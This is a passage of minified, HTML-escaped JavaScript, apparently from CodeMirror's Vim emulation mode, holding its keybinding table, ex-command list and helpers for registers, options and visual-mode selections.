&quot;moveByWords&quot;,motionArgs:{forward:!1,wordEnd:!0,inclusive:!0}},{keys:&quot;gE&quot;,type:&quot;motion&quot;,motion:&quot;moveByWords&quot;,motionArgs:{forward:!1,wordEnd:!0,bigWord:!0,inclusive:!0}},{keys:&quot;{&quot;,type:&quot;motion&quot;,motion:&quot;moveByParagraph&quot;,motionArgs:{forward:!1,toJumplist:!0}},{keys:&quot;}&quot;,type:&quot;motion&quot;,motion:&quot;moveByParagraph&quot;,motionArgs:{forward:!0,toJumplist:!0}},{keys:&quot;&lt;C-f&gt;&quot;,type:&quot;motion&quot;,motion:&quot;moveByPage&quot;,motionArgs:{forward:!0}},{keys:&quot;&lt;C-b&gt;&quot;,type:&quot;motion&quot;,motion:&quot;moveByPage&quot;,motionArgs:{forward:!1}},{keys:&quot;&lt;C-d&gt;&quot;,type:&quot;motion&quot;,motion:&quot;moveByScroll&quot;,motionArgs:{forward:!0,explicitRepeat:!0}},{keys:&quot;&lt;C-u&gt;&quot;,type:&quot;motion&quot;,motion:&quot;moveByScroll&quot;,motionArgs:{forward:!1,explicitRepeat:!0}},{keys:&quot;gg&quot;,type:&quot;motion&quot;,motion:&quot;moveToLineOrEdgeOfDocument&quot;,motionArgs:{forward:!1,explicitRepeat:!0,linewise:!0,toJumplist:!0}},{keys:&quot;G&quot;,type:&quot;motion&quot;,motion:&quot;moveToLineOrEdgeOfDocument&quot;,motionArgs:{forward:!0,explicitRepeat:!0,linewise:!0,toJumplist:!0}},{keys:&quot;0&quot;,type:&quot;motion&quot;,motion:&quot;moveToStartOfLine&quot;},{keys:&quot;^&quot;,type:&quot;motion&quot;,motion:&quot;moveToFirstNonWhiteSpaceCharacter&quot;},{keys:&quot;+&quot;,type:&quot;motion&quot;,motion:&quot;moveByLines&quot;,motionArgs:{forward:!0,toFirstChar:!0}},{keys:&quot;-&quot;,type:&quot;motion&quot;,motion:&quot;moveByLines&quot;,motionArgs:{forward:!1,toFirstChar:!0}},{keys:&quot;_&quot;,type:&quot;motion&quot;,motion:&quot;moveByLines&quot;,motionArgs:{forward:!0,toFirstChar:!0,repeatOffset:-1}},{keys:&quot;$&quot;,type:&quot;motion&quot;,motion:&quot;moveToEol&quot;,motionArgs:{inclusive:!0}},{keys:&quot;%&quot;,type:&quot;motion&quot;,motion:&quot;moveToMatchedSymbol&quot;,motionArgs:{inclusive:!0,toJumplist:!0}},{keys:&quot;f&lt;character&gt;&quot;,type:&quot;motion&quot;,motion:&quot;moveToCharacter&quot;,motionArgs:{forward:!0,inclusive:!0}},{keys:&quot;F&lt;character&gt;&quot;,type:&quot;motion&quot;,motion:&quot;moveToCharacter&quot;,motionArgs:{forward:!1}},{keys:&quot;t&lt;character&gt;&quot;,type:&quot;motion&quot;,motion:&quot;moveTillCharacter&quot;,motionArgs:{forward:!0,inclusive:!0}},{keys:&quot;T&lt;character&gt;&quot;,type:&quot;motion&quot;,motion:&quot;moveTillCharacter&quot;,motionArgs:{forward:!1}},{keys:&quot;;&quot;,type:&quot;motion&quot;,motion:&quot;repeatLastCharacterSearch&quot;,motionArgs:{forward:!0}},{keys:&quot;,&quot;,type:&quot;motion&quot;,motion:&quot;repeatLastCharacterSearch&quot;,motionArgs:{forward:!1}},{keys:&quot;&#039;&lt;character&gt;&quot;,type:&quot;motion&quot;,motion:&quot;goToMark&quot;,motionArgs:{toJumplist:!0,linewise:!0}},{keys:&quot;`&lt;character&gt;&quot;,type:&quot;motion&quot;,motion:&quot;goToMark&quot;,motionArgs:{toJumplist:!0}},{keys:&quot;]`&quot;,type:&quot;motion&quot;,motion:&quot;jumpToMark&quot;,motionArgs:{forward:!0}},{keys:&quot;[`&quot;,type:&quot;motion&quot;,motion:&quot;jumpToMark&quot;,motionArgs:{forward:!1}},{keys:&quot;]&#039;&quot;,type:&quot;motion&quot;,motion:&quot;jumpToMark&quot;,motionArgs:{forward:!0,linewise:!0}},{keys:&quot;[&#039;&quot;,type:&quot;motion&quot;,motion:&quot;jumpToMark&quot;,motionArgs:{forward:!1,linewise:!0}},{keys:&quot;]p&quot;,type:&quot;action&quot;,action:&quot;paste&quot;,isEdit:!0,actionArgs:{after:!0,isEdit:!0,matchIndent:!0}},{keys:&quot;[p&quot;,type:&quot;action&quot;,action:&quot;paste&quot;,isEdit:!0,actionArgs:{after:!1,isEdit:!0,matchIndent:!0}},{keys:&quot;]&lt;character&gt;&quot;,type:&quot;motion&quot;,motion:&quot;moveToSymbol&quot;,motionArgs:{forward:!0,toJumplist:!0}},{keys:&quot;[&lt;character&gt;&quot;,type:&quot;motion&quot;,motion:&quot;moveToSymbol&quot;,motionArgs:{forward:!1,toJumplist:!0}},{keys:&quot;|&quot;,type:&quot;motion&quot;,motion:&quot;moveToColumn&quot;},{keys:&quot;o&quot;,type:&quot;motion&quot;,motion:&quot;moveToOtherHighlightedEnd&quot;,context:&quot;visual&quot;},{keys:&quot;O&quot;,type:&quot;motion&quot;,motion:&quot;moveToOtherHighlightedEnd&quot;,motionArgs:{sameLine:!0},context:&quot;visual&quot;},{keys:&quot;d&quot;,type:&quot;operator&quot;,operator:&quot;delete&quot;},{keys:&quot;y&quot;,type:&quot;operator&quot;,operator:&quot;yank&quot;},{keys:&quot;c&quot;,type:&quot;operator&quot;,operator:&quot;change&quot;},{keys:&quot;&gt;&quot;,type:&quot;operator&quot;,operator:&quot;indent&quot;,operatorArgs:{indentRight:!0}},{keys:&quot;&lt;&quot;,type:&quot;operator&quot;,operator:&quot;indent&quot;,operatorArgs:{indentRight:!1}},{keys:&quot;g~&quot;,type:&quot;operator&quot;,operator:&quot;changeCase&quot;},{keys:&quot;gu&quot;,type:&quot;operator&quot;,operator:&quot;changeCase&quot;,operatorArgs:{toLower:!0},isEdit:!0},{keys:&quot;gU&quot;,type:&quot;operator&quot;,operator:&quot;changeCase&quot;,operatorArgs:{toLower:!1},isEdit:!0},{keys:&quot;n&quot;,type:&quot;motion&quot;,motion:&quot;findNext&quot;,motionArgs:{forward:!0,toJumplist:!0}},{keys:&quot;N&quot;,type:&quot;motion&quot;,motion:&quot;findNext&quot;,motionArgs:{forward:!1,toJumplist:!0}},{keys:&quot;x&quot;,type:&quot;operatorMotion&quot;,operator:&quot;delete&quot;,motion:&quot;moveByCharacters&quot;,motionArgs:{forward:!0},operatorMotionArgs:{visualLine:!1}},{keys:&quot;X&quot;,type:&quot;operatorMotion&quot;,operator:&quot;delete&quot;,motion:&quot;moveByCharacters&quot;,motionArgs:{forward:!1},operatorMotionArgs:{visualLine:!0}},{keys:&quot;D&quot;,type:&quot;operatorMotion&quot;,operator:&quot;delete&quot;,motion:&quot;moveToEol&quot;,motionArgs:{inclusive:!0},context:&quot;normal&quot;},{keys:&quot;D&quot;,type:&quot;operator&quot;,operator:&quot;delete&quot;,operatorArgs:{linewise:!0},context:&quot;visual&quot;},{keys:&quot;Y&quot;,type:&quot;operatorMotion&quot;,operator:&quot;yank&quot;,motion:&quot;expandToLine&quot;,motionArgs:{linewise:!0},context:&quot;normal&quot;},{keys:&quot;Y&quot;,type:&quot;operator&quot;,operator:&quot;yank&quot;,operatorArgs:{linewise:!0},context:&quot;visual&quot;},{keys:&quot;C&quot;,type:&quot;operatorMotion&quot;,operator:&quot;change&quot;,motion:&quot;moveToEol&quot;,motionArgs:{inclusive:!0},context:&quot;normal&quot;},{keys:&quot;C&quot;,type:&quot;operator&quot;,operator:&quot;change&quot;,operatorArgs:{linewise:!0},context:&quot;visual&quot;},{keys:&quot;~&quot;,type:&quot;operatorMotion&quot;,operator:&quot;changeCase&quot;,motion:&quot;moveByCharacters&quot;,motionArgs:{forward:!0},operatorArgs:{shouldMoveCursor:!0},context:&quot;normal&quot;},{keys:&quot;~&quot;,type:&quot;operator&quot;,operator:&quot;changeCase&quot;,context:&quot;visual&quot;},{keys:&quot;&lt;C-w&gt;&quot;,type:&quot;operatorMotion&quot;,operator:&quot;delete&quot;,motion:&quot;moveByWords&quot;,motionArgs:{forward:!1,wordEnd:!1},context:&quot;insert&quot;},{keys:&quot;&lt;C-i&gt;&quot;,type:&quot;action&quot;,action:&quot;jumpListWalk&quot;,actionArgs:{forward:!0}},{keys:&quot;&lt;C-o&gt;&quot;,type:&quot;action&quot;,action:&quot;jumpListWalk&quot;,actionArgs:{forward:!1}},{keys:&quot;&lt;C-e&gt;&quot;,type:&quot;action&quot;,action:&quot;scroll&quot;,actionArgs:{forward:!0,linewise:!0}},{keys:&quot;&lt;C-y&gt;&quot;,type:&quot;action&quot;,action:&quot;scroll&quot;,actionArgs:{forward:!1,linewise:!0}},{keys:&quot;a&quot;,type:&quot;action&quot;,action:&quot;enterInsertMode&quot;,isEdit:!0,actionArgs:{insertAt:&quot;charAfter&quot;},context:&quot;normal&quot;},{keys:&quot;A&quot;,type:&quot;action&quot;,action:&quot;enterInsertMode&quot;,isEdit:!0,actionArgs:{insertAt:&quot;eol&quot;},context:&quot;normal&quot;},{keys:&quot;A&quot;,type:&quot;action&quot;,action:&quot;enterInsertMode&quot;,isEdit:!0,actionArgs:{insertAt:&quot;endOfSelectedArea&quot;},context:&quot;visual&quot;},{keys:&quot;i&quot;,type:&quot;action&quot;,action:&quot;enterInsertMode&quot;,isEdit:!0,actionArgs:{insertAt:&quot;inplace&quot;},context:&quot;normal&quot;},{keys:&quot;I&quot;,type:&quot;action&quot;,action:&quot;enterInsertMode&quot;,isEdit:!0,actionArgs:{insertAt:&quot;firstNonBlank&quot;},context:&quot;normal&quot;},{keys:&quot;I&quot;,type:&quot;action&quot;,action:&quot;enterInsertMode&quot;,isEdit:!0,actionArgs:{insertAt:&quot;startOfSelectedArea&quot;},context:&quot;visual&quot;},{keys:&quot;o&quot;,type:&quot;action&quot;,action:&quot;newLineAndEnterInsertMode&quot;,isEdit:!0,interlaceInsertRepeat:!0,actionArgs:{after:!0},context:&quot;normal&quot;},{keys:&quot;O&quot;,type:&quot;action&quot;,action:&quot;newLineAndEnterInsertMode&quot;,isEdit:!0,interlaceInsertRepeat:!0,actionArgs:{after:!1},context:&quot;normal&quot;},{keys:&quot;v&quot;,type:&quot;action&quot;,action:&quot;toggleVisualMode&quot;},{keys:&quot;V&quot;,type:&quot;action&quot;,action:&quot;toggleVisualMode&quot;,actionArgs:{linewise:!0}},{keys:&quot;&lt;C-v&gt;&quot;,type:&quot;action&quot;,action:&quot;toggleVisualMode&quot;,actionArgs:{blockwise:!0}},{keys:&quot;&lt;C-q&gt;&quot;,type:&quot;action&quot;,action:&quot;toggleVisualMode&quot;,actionArgs:{blockwise:!0}},{keys:&quot;gv&quot;,type:&quot;action&quot;,action:&quot;reselectLastSelection&quot;},{keys:&quot;J&quot;,type:&quot;action&quot;,action:&quot;joinLines&quot;,isEdit:!0},{keys:&quot;p&quot;,type:&quot;action&quot;,action:&quot;paste&quot;,isEdit:!0,actionArgs:{after:!0,isEdit:!0}},{keys:&quot;P&quot;,type:&quot;action&quot;,action:&quot;paste&quot;,isEdit:!0,actionArgs:{after:!1,isEdit:!0}},{keys:&quot;r&lt;character&gt;&quot;,type:&quot;action&quot;,action:&quot;replace&quot;,isEdit:!0},{keys:&quot;@&lt;character&gt;&quot;,type:&quot;action&quot;,action:&quot;replayMacro&quot;},{keys:&quot;q&lt;character&gt;&quot;,type:&quot;action&quot;,action:&quot;enterMacroRecordMode&quot;},{keys:&quot;R&quot;,type:&quot;action&quot;,action:&quot;enterInsertMode&quot;,isEdit:!0,actionArgs:{replace:!0}},{keys:&quot;u&quot;,type:&quot;action&quot;,action:&quot;undo&quot;,context:&quot;normal&quot;},{keys:&quot;u&quot;,type:&quot;operator&quot;,operator:&quot;changeCase&quot;,operatorArgs:{toLower:!0},context:&quot;visual&quot;,isEdit:!0},{keys:&quot;U&quot;,type:&quot;operator&quot;,operator:&quot;changeCase&quot;,operatorArgs:{toLower:!1},context:&quot;visual&quot;,isEdit:!0},{keys:&quot;&lt;C-r&gt;&quot;,type:&quot;action&quot;,action:&quot;redo&quot;},{keys:&quot;m&lt;character&gt;&quot;,type:&quot;action&quot;,action:&quot;setMark&quot;},{keys:&#039;&quot;&lt;character&gt;&#039;,type:&quot;action&quot;,action:&quot;setRegister&quot;},{keys:&quot;zz&quot;,type:&quot;action&quot;,action:&quot;scrollToCursor&quot;,actionArgs:{position:&quot;center&quot;}},{keys:&quot;z.&quot;,type:&quot;action&quot;,action:&quot;scrollToCursor&quot;,actionArgs:{position:&quot;center&quot;},motion:&quot;moveToFirstNonWhiteSpaceCharacter&quot;},{keys:&quot;zt&quot;,type:&quot;action&quot;,action:&quot;scrollToCursor&quot;,actionArgs:{position:&quot;top&quot;}},{keys:&quot;z&lt;CR&gt;&quot;,type:&quot;action&quot;,action:&quot;scrollToCursor&quot;,actionArgs:{position:&quot;top&quot;},motion:&quot;moveToFirstNonWhiteSpaceCharacter&quot;},{keys:&quot;z-&quot;,type:&quot;action&quot;,action:&quot;scrollToCursor&quot;,actionArgs:{position:&quot;bottom&quot;}},{keys:&quot;zb&quot;,type:&quot;action&quot;,action:&quot;scrollToCursor&quot;,actionArgs:{position:&quot;bottom&quot;},motion:&quot;moveToFirstNonWhiteSpaceCharacter&quot;},{keys:&quot;.&quot;,type:&quot;action&quot;,action:&quot;repeatLastEdit&quot;},{keys:&quot;&lt;C-a&gt;&quot;,type:&quot;action&quot;,action:&quot;incrementNumberToken&quot;,isEdit:!0,actionArgs:{increase:!0,backtrack:!1}},{keys:&quot;&lt;C-x&gt;&quot;,type:&quot;action&quot;,action:&quot;incrementNumberToken&quot;,isEdit:!0,actionArgs:{increase:!1,backtrack:!1}},{keys:&quot;&lt;C-t&gt;&quot;,type:&quot;action&quot;,action:&quot;indent&quot;,actionArgs:{indentRight:!0},context:&quot;insert&quot;},{keys:&quot;&lt;C-d&gt;&quot;,type:&quot;action&quot;,action:&quot;indent&quot;,actionArgs:{indentRight:!1},context:&quot;insert&quot;},{keys:&quot;a&lt;character&gt;&quot;,type:&quot;motion&quot;,motion:&quot;textObjectManipulation&quot;},{keys:&quot;i&lt;character&gt;&quot;,type:&quot;motion&quot;,motion:&quot;textObjectManipulation&quot;,motionArgs:{textObjectInner:!0}},{keys:&quot;/&quot;,type:&quot;search&quot;,searchArgs:{forward:!0,querySrc:&quot;prompt&quot;,toJumplist:!0}},{keys:&quot;?&quot;,type:&quot;search&quot;,searchArgs:{forward:!1,querySrc:&quot;prompt&quot;,toJumplist:!0}},{keys:&quot;*&quot;,type:&quot;search&quot;,searchArgs:{forward:!0,querySrc:&quot;wordUnderCursor&quot;,wholeWordOnly:!0,toJumplist:!0}},{keys:&quot;#&quot;,type:&quot;search&quot;,searchArgs:{forward:!1,querySrc:&quot;wordUnderCursor&quot;,wholeWordOnly:!0,toJumplist:!0}},{keys:&quot;g*&quot;,type:&quot;search&quot;,searchArgs:{forward:!0,querySrc:&quot;wordUnderCursor&quot;,toJumplist:!0}},{keys:&quot;g#&quot;,type:&quot;search&quot;,searchArgs:{forward:!1,querySrc:&quot;wordUnderCursor&quot;,toJumplist:!0}},{keys:&quot;:&quot;,type:&quot;ex&quot;}],c=[{name:&quot;colorscheme&quot;,shortName:&quot;colo&quot;},{name:&quot;map&quot;},{name:&quot;imap&quot;,shortName:&quot;im&quot;},{name:&quot;nmap&quot;,shortName:&quot;nm&quot;},{name:&quot;vmap&quot;,shortName:&quot;vm&quot;},{name:&quot;unmap&quot;},{name:&quot;write&quot;,shortName:&quot;w&quot;},{name:&quot;undo&quot;,shortName:&quot;u&quot;},{name:&quot;redo&quot;,shortName:&quot;red&quot;},{name:&quot;set&quot;,shortName:&quot;se&quot;},{name:&quot;set&quot;,shortName:&quot;se&quot;},{name:&quot;setlocal&quot;,shortName:&quot;setl&quot;},{name:&quot;setglobal&quot;,shortName:&quot;setg&quot;},{name:&quot;sort&quot;,shortName:&quot;sor&quot;},{name:&quot;substitute&quot;,shortName:&quot;s&quot;,possiblyAsync:!0},{name:&quot;nohlsearch&quot;,shortName:&quot;noh&quot;},{name:&quot;yank&quot;,shortName:&quot;y&quot;},{name:&quot;delmarks&quot;,shortName:&quot;delm&quot;},{name:&quot;registers&quot;,shortName:&quot;reg&quot;,excludeFromCommandHistory:!0},{name:&quot;global&quot;,shortName:&quot;g&quot;}],d=a.Pos,e=function(){function e(b){b.setOption(&quot;disableInput&quot;,!0),b.setOption(&quot;showCursorWhenSelecting&quot;,!1),a.signal(b,&quot;vim-mode-change&quot;,{mode:&quot;normal&quot;}),b.on(&quot;cursorActivity&quot;,bb),x(b),a.on(b.getInputField(),&quot;paste&quot;,k(b))}function f(b){b.setOption(&quot;disableInput&quot;,!1),b.off(&quot;cursorActivity&quot;,bb),a.off(b.getInputField(),&quot;paste&quot;,k(b)),b.state.vim=null}function g(b,c){this==a.keyMap.vim&amp;&amp;a.rmClass(b.getWrapperElement(),&quot;cm-fat-cursor&quot;),c&amp;&amp;c.attach==h||f(b)}function h(b,c){this==a.keyMap.vim&amp;&amp;a.addClass(b.getWrapperElement(),&quot;cm-fat-cursor&quot;),c&amp;&amp;c.attach==h||e(b)}function i(b,c){if(c){if(this[b])return this[b];var d=j(b);if(!d)return!1;var e=a.Vim.findKey(c,d);return&quot;function&quot;==typeof e&amp;&amp;a.signal(c,&quot;vim-keypress&quot;,d),e}}function j(a){if(&quot;&#039;&quot;==a.charAt(0))return a.charAt(1);var b=a.split(/-(?!$)/),c=b[b.length-1];if(1==b.length&amp;&amp;1==b[0].length)return!1;if(2==b.length&amp;&amp;&quot;Shift&quot;==b[0]&amp;&amp;1==c.length)return!1;for(var d=!1,e=0;e&lt;b.length;e++){var f=b[e];f in ib?b[e]=ib[f]:d=!0,f in jb&amp;&amp;(b[e]=jb[f])}return!!d&amp;&amp;(q(c)&amp;&amp;(b[b.length-1]=c.toLowerCase()),&quot;&lt;&quot;+b.join(&quot;-&quot;)+&quot;&gt;&quot;)}function k(a){var b=a.state.vim;return b.onPasteFn||(b.onPasteFn=function(){b.insertMode||(a.setCursor(L(a.getCursor(),0,1)),Bb.enterInsertMode(a,{},b))}),b.onPasteFn}function l(a,b){for(var c=[],d=a;d&lt;a+b;d++)c.push(String.fromCharCode(d));return c}function m(a,b){return b&gt;=a.firstLine()&amp;&amp;b&lt;=a.lastLine()}function n(a){return/^[a-z]$/.test(a)}function o(a){return&quot;()[]{}&quot;.indexOf(a)!=-1}function p(a){return kb.test(a)}function q(a){return/^[A-Z]$/.test(a)}function r(a){return/^\s*$/.test(a)}function s(a,b){for(var c=0;c&lt;b.length;c++)if(b[c]==a)return!0;return!1}function t(a,b,c,d,e){if(void 0===b&amp;&amp;!e)throw Error(&quot;defaultValue is required unless callback is provided&quot;);if(c||(c=&quot;string&quot;),sb[a]={type:c,defaultValue:b,callback:e},d)for(var f=0;f&lt;d.length;f++)sb[d[f]]=sb[a];b&amp;&amp;u(a,b)}function u(a,b,c,d){var e=sb[a];d=d||{};var f=d.scope;if(!e)return new Error(&quot;Unknown option: &quot;+a);if(&quot;boolean&quot;==e.type){if(b&amp;&amp;b!==!0)return new Error(&quot;Invalid argument: &quot;+a+&quot;=&quot;+b);b!==!1&amp;&amp;(b=!0)}e.callback?(&quot;local&quot;!==f&amp;&amp;e.callback(b,void 0),&quot;global&quot;!==f&amp;&amp;c&amp;&amp;e.callback(b,c)):(&quot;local&quot;!==f&amp;&amp;(e.value=&quot;boolean&quot;==e.type?!!b:b),&quot;global&quot;!==f&amp;&amp;c&amp;&amp;(c.state.vim.options[a]={value:b}))}function v(a,b,c){var d=sb[a];c=c||{};var e=c.scope;if(!d)return new Error(&quot;Unknown option: &quot;+a);{if(!d.callback){var f=&quot;global&quot;!==e&amp;&amp;b&amp;&amp;b.state.vim.options[a];return(f||&quot;local&quot;!==e&amp;&amp;d||{}).value}var f=b&amp;&amp;d.callback(void 0,b);if(&quot;global&quot;!==e&amp;&amp;void 0!==f)return f;if(&quot;local&quot;!==e)return d.callback()}}function w(){this.latestRegister=void 0,this.isPlaying=!1,this.isRecording=!1,this.replaySearchQueries=[],this.onRecordingDone=void 0,this.lastInsertModeChanges=ub()}function x(a){return a.state.vim||(a.state.vim={inputState:new z,lastEditInputState:void 0,lastEditActionCommand:void 0,lastHPos:-1,lastHSPos:-1,lastMotion:null,marks:{},fakeCursor:null,insertMode:!1,insertModeRepeat:void 0,visualMode:!1,visualLine:!1,visualBlock:!1,lastSelection:null,lastPastedText:null,sel:{},options:{}}),a.state.vim}function y(){vb={searchQuery:null,searchIsReversed:!1,lastSubstituteReplacePart:void 0,jumpList:tb(),macroModeState:new w,lastCharacterSearch:{increment:0,forward:!0,selectedCharacter:&quot;&quot;},registerController:new D({}),searchHistoryController:new E,exCommandHistoryController:new E};for(var a in sb){var b=sb[a];b.value=b.defaultValue}}function z(){this.prefixRepeat=[],this.motionRepeat=[],this.operator=null,this.operatorArgs=null,this.motion=null,this.motionArgs=null,this.keyBuffer=[],this.registerName=null}function A(b,c){b.state.vim.inputState=new z,a.signal(b,&quot;vim-command-done&quot;,c)}function B(a,b,c){this.clear(),this.keyBuffer=[a||&quot;&quot;],this.insertModeChanges=[],this.searchQueries=[],this.linewise=!!b,this.blockwise=!!c}function C(a,b){var c=vb.registerController.registers;if(!a||1!=a.length)throw Error(&quot;Register name must be 1 character&quot;);if(c[a])throw Error(&quot;Register already defined &quot;+a);c[a]=b,rb.push(a)}function D(a){this.registers=a,this.unnamedRegister=a[&#039;&quot;&#039;]=new B,a[&quot;.&quot;]=new B,a[&quot;:&quot;]=new B,a[&quot;/&quot;]=new B}function E(){this.historyBuffer=[],this.iterator=0,this.initialPrefix=null}function F(a,b){zb[a]=b}function G(a,b){for(var c=[],d=0;d&lt;b;d++)c.push(a);return c}function H(a,b){Ab[a]=b}function I(a,b){Bb[a]=b}function J(a,b,c){var e=Math.min(Math.max(a.firstLine(),b.line),a.lastLine()),f=X(a,e)-1;f=c?f+1:f;var g=Math.min(Math.max(0,b.ch),f);return d(e,g)}function K(a){var b={};for(var c in a)a.hasOwnProperty(c)&amp;&amp;(b[c]=a[c]);return b}function L(a,b,c){return&quot;object&quot;==typeof b&amp;&amp;(c=b.ch,b=b.line),d(a.line+b,a.ch+c)}function M(a,b){return{line:b.line-a.line,ch:b.line-a.line}}function N(a,b,c,d){for(var e,f=[],g=[],h=0;h&lt;b.length;h++){var i=b[h];&quot;insert&quot;==c&amp;&amp;&quot;insert&quot;!=i.context||i.context&amp;&amp;i.context!=c||d.operator&amp;&amp;&quot;action&quot;==i.type||!(e=O(a,i.keys))||(&quot;partial&quot;==e&amp;&amp;f.push(i),&quot;full&quot;==e&amp;&amp;g.push(i))}return{partial:f.length&amp;&amp;f,full:g.length&amp;&amp;g}}function O(a,b){if(&quot;&lt;character&gt;&quot;==b.slice(-11)){var c=b.length-11,d=a.slice(0,c),e=b.slice(0,c);return d==e&amp;&amp;a.length&gt;c?&quot;full&quot;:0==e.indexOf(d)&amp;&amp;&quot;partial&quot;}return a==b?&quot;full&quot;:0==b.indexOf(a)&amp;&amp;&quot;partial&quot;}function P(a){var b=/^.*(&lt;[^&gt;]+&gt;)$/.exec(a),c=b?b[1]:a.slice(-1);if(c.length&gt;1)switch(c){case&quot;&lt;CR&gt;&quot;:c=&quot;\n&quot;;break;case&quot;&lt;Space&gt;&quot;:c=&quot; &quot;;break;default:c=&quot;&quot;}return c}function Q(a,b,c){return function(){for(var d=0;d&lt;c;d++)b(a)}}function R(a){return d(a.line,a.ch)}function S(a,b){return a.ch==b.ch&amp;&amp;a.line==b.line}function T(a,b){return a.line&lt;b.line||a.line==b.line&amp;&amp;a.ch&lt;b.ch}function U(a,b){return arguments.length&gt;2&amp;&amp;(b=U.apply(void 0,Array.prototype.slice.call(arguments,1))),T(a,b)?a:b}function V(a,b){return arguments.length&gt;2&amp;&amp;(b=V.apply(void 0,Array.prototype.slice.call(arguments,1))),T(a,b)?b:a}function W(a,b,c){var d=T(a,b),e=T(b,c);return d&amp;&amp;e}function X(a,b){return a.getLine(b).length}function Y(a){return a.trim?a.trim():a.replace(/^\s+|\s+$/g,&quot;&quot;)}function Z(a){return a.replace(/([.?*+$\[\]\/\\(){}|\-])/g,&quot;\\$1&quot;)}function $(a,b,c){var e=X(a,b),f=new Array(c-e+1).join(&quot; &quot;);a.setCursor(d(b,e)),a.replaceRange(f,a.getCursor())}function _(a,b){var c=[],e=a.listSelections(),f=R(a.clipPos(b)),g=!S(b,f),h=a.getCursor(&quot;head&quot;),i=ba(e,h),j=S(e[i].head,e[i].anchor),k=e.length-1,l=k-i&gt;i?k:0,m=e[l].anchor,n=Math.min(m.line,f.line),o=Math.max(m.line,f.line),p=m.ch,q=f.ch,r=e[l].head.ch-p,s=q-p;r&gt;0&amp;&amp;s&lt;=0?(p++,g||q--):r&lt;0&amp;&amp;s&gt;=0?(p--,j||q++):r&lt;0&amp;&amp;s==-1&amp;&amp;(p--,q++);for(var t=n;t&lt;=o;t++){var u={anchor:new d(t,p),head:new d(t,q)};c.push(u)}return a.setSelections(c),b.ch=q,m.ch=p,m}function aa(a,b,c){for(var d=[],e=0;e&lt;c;e++){var f=L(b,e,0);d.push({anchor:f,head:f})}a.setSelections(d,0)}function ba(a,b,c){for(var d=0;d&lt;a.length;d++){var e=&quot;head&quot;!=c&amp;&amp;S(a[d].anchor,b),f=&quot;anchor&quot;!=c&amp;&amp;S(a[d].head,b);if(e||f)return d}return-1}function ca(a,b){var c=b.lastSelection,e=function(){var b=a.listSelections(),c=b[0],d=b[b.length-1],e=T(c.anchor,c.head)?c.anchor:c.head,f=T(d.anchor,d.head)?d.head:d.anchor;return[e,f]},f=function(){var b=a.getCursor(),e=a.getCursor(),f=c.visualBlock;if(f){var g=f.width,h=f.height;e=d(b.line+h,b.ch+g);for(var i=[],j=b.line;j&lt;e.line;j++){var k=d(j,b.ch),l=d(j,e.ch),m={anchor:k,head:l};i.push(m)}a.setSelections(i)}else{var n=c.anchorMark.find(),o=c.headMark.find(),p=o.line-n.line,q=o.ch-n.ch;e={line:e.line+p,ch:p?e.ch:q+e.ch},c.visualLine&amp;&amp;(b=d(b.line,0),e=d(e.line,X(a,e.line))),a.setSelection(b,e)}return[b,e]};return b.visualMode?e():f()}function da(a,b){var c=b.sel.anchor,d=b.sel.head;b.lastPastedText&amp;&amp;(d=a.posFromIndex(a.indexFromPos(c)+b.lastPastedText.length),b.lastPastedText=null),b.lastSelection={anchorMark:a.setBookmark(c),
headMark:a.setBookmark(d),anchor:R(c),head:R(d),visualMode:b.visualMode,visualLine:b.visualLine,visualBlock:b.visualBlock}}function ea(a,b,c){var e,f=a.state.vim.sel,g=f.head,h=f.anchor;return T(c,b)&amp;&amp;(e=c,c=b,b=e),T(g,h)?(g=U(b,g),h=V(h,c)):(h=U(b,h),g=V(g,c),g=L(g,0,-1),g.ch==-1&amp;&amp;g.line!=a.firstLine()&amp;&amp;(g=d(g.line-1,X(a,g.line-1)))),[h,g]}function fa(a,b,c){var d=a.state.vim;b=b||d.sel;var c=c||d.visualLine?&quot;line&quot;:d.visualBlock?&quot;block&quot;:&quot;char&quot;,e=ga(a,b,c);a.setSelections(e.ranges,e.primary),cb(a)}function ga(a,b,c,e){var f=R(b.head),g=R(b.anchor);if(&quot;char&quot;==c){var h=e||T(b.head,b.anchor)?0:1,i=T(b.head,b.anchor)?1:0;return f=L(b.head,0,h),g=L(b.anchor,0,i),{ranges:[{anchor:g,head:f}],primary:0}}if(&quot;line&quot;==c){if(T(b.head,b.anchor))f.ch=0,g.ch=X(a,g.line);else{g.ch=0;var j=a.lastLine();f.line&gt;j&amp;&amp;(f.line=j),f.ch=X(a,f.line)}return{ranges:[{anchor:g,head:f}],primary:0}}if(&quot;block&quot;==c){for(var k=Math.min(g.line,f.line),l=Math.min(g.ch,f.ch),m=Math.max(g.line,f.line),n=Math.max(g.ch,f.ch)+1,o=m-k+1,p=f.line==k?0:o-1,q=[],r=0;r&lt;o;r++)q.push({anchor:d(k+r,l),head:d(k+r,n)});return{ranges:q,primary:p}}}function ha(a){var b=a.getCursor(&quot;head&quot;);return 1==a.getSelection().length&amp;&amp;(b=U(b,a.getCursor(&quot;anchor&quot;))),b}function ia(b,c){var d=b.state.vim;c!==!1&amp;&amp;b.setCursor(J(b,d.sel.head)),da(b,d),d.visualMode=!1,d.visualLine=!1,d.visualBlock=!1,a.signal(b,&quot;vim-mode-change&quot;,{mode:&quot;normal&quot;}),d.fakeCursor&amp;&amp;d.fakeCursor.clear()}function ja(a,b,c){var d=a.getRange(b,c);if(/\n\s*$/.test(d)){var e=d.split(&quot;\n&quot;);e.pop();for(var f,f=e.pop();e.length&gt;0&amp;&amp;f&amp;&amp;r(f);f=e.pop())c.line--,c.ch=0;f?(c.line--,c.ch=X(a,c.line)):c.ch=0}}function ka(a,b,c){b.ch=0,c.ch=0,c.line++}function la(a){if(!a)return 0;var b=a.search(/\S/);return b==-1?a.length:b}function ma(a,b,c,e,f){for(var g=ha(a),h=a.getLine(g.line),i=g.ch,j=f?lb[0]:mb[0];!j(h.charAt(i));)if(i++,i&gt;=h.length)return null;e?j=mb[0]:(j=lb[0],j(h.charAt(i))||(j=lb[1]));for(var k=i,l=i;j(h.charAt(k))&amp;&amp;k&lt;h.length;)k++;for(;j(h.charAt(l))&amp;&amp;l&gt;=0;)l--;if(l++,b){for(var m=k;/\s/.test(h.charAt(k))&amp;&amp;k&lt;h.length;)k++;if(m==k){for(var n=l;/\s/.test(h.charAt(l-1))&amp;&amp;l&gt;0;)l--;l||(l=n)}}return{start:d(g.line,l),end:d(g.line,k)}}function na(a,b,c){S(b,c)||vb.jumpList.add(a,b,c)}function 